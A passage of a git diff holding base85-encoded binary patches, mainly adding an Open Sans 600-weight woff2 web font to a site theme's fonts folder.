zo}cOuA?NN-rpR?$Zu?vBDFzXz&h78dib9MW>2Il}(^rdKz9OWwkvz?U*JAd+uXgC3
z9t^sG?i&L$Pmfql5*eH>@xO@xa`e06j5Z{^FAfkGhT??yDi*t~%W(fWKmS|3O8x%;
zt5E-OG;(>P!<scQMQ;!XOVP}LLj&ozG^K&yA1i!q!Vs9WNe-0BJTaN)u>Xt2{~v6s
z9xlZHjHd$=26yR>{6CEiHhu`$Bdu{j;=ys(|H4#0OaCDLU-!1n|JzZ6p5N#2Y<H(v
zq%XhN&JMrUZ4Kvaemw7HqIhu+<n_@#W~j&@`!Mu&yFUykQZ#s&&bcGglj%*!J&Aa^
zz<RXu*ZeI67uEvqyM~@7$)7H2Sr^i;IIm8V@Pl&wH*sO>Fk4xBYB8U&%brmmmnVIM
z9+Q<7&>)kv@pt+=J6~g)ypM7fV%$0sjn<tVi$>`}1z$8-qoA;*Y9vnNK@|0@*D%LD
zX1;<;o6h(N>EmKXDRw+NVR|O6!7H)royK-8f`r4Ns2=#-d=r!cNf(8RQH>(E3A)D$
zw01)Vc0o^R{_LPLukNxHdpA1h2j{%S3`_*;J64W#LIeq+$q=&oUrX3mf(RV8{ZFo5
zn5<v9<E^r*1<$wwt&Cw>ABz$qU;cKp8UH#0p~NovwfbD`t`L<;bKLFWy@pZQKIdIi
bQBM5)6s%p?oy_T)f<heOvL9c)cYydmSX$yH

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-600.woff2 b/theme/fonts/open-sans-v17-all-charsets-600.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..f503d558d58dbd4dee1f6b962d23002c85893573
GIT binary patch
literal 44936
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
